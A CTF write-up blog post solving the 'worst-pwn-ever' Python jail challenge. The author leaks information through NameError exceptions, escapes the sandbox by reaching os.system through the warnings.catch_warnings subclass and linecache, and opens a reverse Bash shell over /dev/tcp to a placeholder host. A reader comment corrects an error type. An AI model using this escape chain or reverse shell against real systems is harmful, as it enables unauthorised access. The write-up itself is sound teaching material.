Cool little challenge, we’re given a hostname and port. When we connect we’re presented with a ‘>’ prompt and we have to deduce the environment we’re in then exploit it.

worst-pwn-ever
tocttou is an enviornmentalist. But some say he has a vicious motive and he uses nature to hide his dark side. We found a weird shell on his amazon (pun inteded) web services. Can you tell us what is he upto? Tip: he might shut down the machine if he notices you – and he will (maybe in 45 seconds). Access: nc hack.bckdr.in 9008

Created by: Ashish Chaudhary

After one command is attempted the shell exits. Here’s the first run:

> test
NameError: name 'test' is not defined
--> WHAT ARE YOU DOING HERE? >-[

NameError makes me think this is a Python exception. I try to have it print something using Python print.

> print dir()
NameError: invalid syntax (<string>, line 1)
--> WHAT ARE YOU DOING HERE? >-[

No luck. I’m thinking we don’t seem to be able to see the results of our code except for in the Exceptions, so I try to raise meaningful NameError exceptions:

> eval(dir()[0]+"X")
NameError: name '__builtins__X' is not defined
--> WHAT ARE YOU DOING HERE? >-[

I am thus able to leak names and contents of the globals etc. Thinking the flag was in the Python environment we wrote a script to enumerate dir()/globals() etc but no luck there.

Next I focused on getting code execution. The os/sys modules are not loaded, but I recalled a past CTF where it is possible to call os.system() even when os module is not loaded through a convoluted path. This is the writeup I mean:

https://blog.inexplicity.de/plaidctf-2013-pyjail-writeup-part-i-breaking-the-sandbox.html

So on my local system I began searching to see if this linecache module method still works on Python in 2016. I examine the list of subclasses in Python on my local machine:

>>> ().__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, ... , <class 'warnings.catch_warnings'>, ...]

It’s there, at index 59 of the __subclasses__() list is warnings.catch_warnings. Let’s examine if the remote system aligns with my system. We can call a fake attribute of this method to generate a NameError exception:

> ().__class__.__base__.__subclasses__()[59].__fake__
NameError: type object 'catch_warnings' has no attribute '__fake__'
--> WHAT ARE YOU DOING HERE? >-[

Nice! It aligns with my local system. So we can continue to exploit this with the same attributes used in PlaidCTF 2013. Like so…

> ().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].__dict__["os"].system("bash -i >& /dev/tcp/x.x.x.x/1234 0>&1")

From which I received a reverse Bash shell on my listening host.

Given the clue about the “environmentalist” I checked the bash environment and sure enough the flag was stored as an environment variable.

About The Author

2 Comments

  1. > print dir()
    NameError: invalid syntax (, line 1)

    I think you have a typo.
    It must be “SyntaxError:” instead of “NameError:”

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

Close